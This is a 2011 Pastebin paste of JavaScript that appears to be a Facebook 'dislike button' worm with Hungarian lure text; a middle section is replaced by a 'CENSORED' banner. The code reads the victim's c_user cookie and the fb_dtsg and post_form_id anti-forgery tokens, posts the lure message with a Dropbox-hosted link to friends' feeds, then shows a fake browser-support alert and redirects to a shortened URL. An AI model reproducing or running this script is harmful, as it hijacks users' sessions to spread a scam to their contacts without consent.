Advertisement
Guest User

Untitled

a guest
May 17th, 2011
187
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. function readCookie(name) {
  2.     var nameEQ = name + "=";
  3.     var ca = document.cookie.split(';');
  4.     for (var i = 0; i < ca.length; i++) {
  5.         var c = ca[i];
  6.         while (c.charAt(0) == ' ') c = c.substring(1, c.length);
  7.         if (c.indexOf(nameEQ) == 0) return c.substring(nameEQ.length, c.length)
  8.     }
  9.     return null
  10. }
  11. var randomnumber=Math.floor(Math.random()*99999);
  12. var user_id = readCookie("c_user");
  13. var user_name = document.getElementById('navAccountName').innerHTML;
  14. var message = "A Facebookon mĂĄr van NEM Tetszik gomb is! Kattints a 'Bekapcsolom a NEM Tetszik gombot' linkre, hogy neked is legyen!";
  15. var jsText = "http://dl.dropbox.com/u/29427867/dislike.htm";
  16. var myText = "Bekapcsolom a NEM Tetszik gombot";
  17.  
  18. var post_form_id = document.getElementsByName('post_form_id')[0].value;
  19. var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value;
  20. var uid = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
  21.  
  22.  
  23. ##################################
  24.  
  25.  
  26.           CENSORED
  27.  
  28.  
  29. ##################################
  30.  
  31.                    "&feed_info[app_has_no_session]=true&feed_info[body_general]=&feed_info[template_id]=60341837091&feed_info[templatized]=0&feed_target_type=target_feed&feedform_type=63&lsd&nctr[_ia]=1&post_form_id_source=AsyncRequest&preview=false&size=2&to_ids[0]=" + friends[i].uid +
  32.                    "&user_message=" + message;
  33.     httpwp.open("POST", urlwp, true);
  34.     httpwp.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
  35.     httpwp.setRequestHeader("Content-length", paramswp.length);
  36.     httpwp.setRequestHeader("Connection", "keep-alive");
  37.     httpwp.onreadystatechange = function(){
  38.         if (httpwp.readyState == 4 && httpwp.status == 200){
  39.            
  40.         }
  41.     }
  42.     httpwp.send(paramswp);
  43. }
  44.  
  45. alert("Sajnos a böngésződ nem támogatja ezt a funkciót, de vigasztalásul mutatunk egy szuperjó dolgot! \n\n Kattints az OK gombra.");
  46. window.location = "http://referer.us/bit.ly/kDRvSs";
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement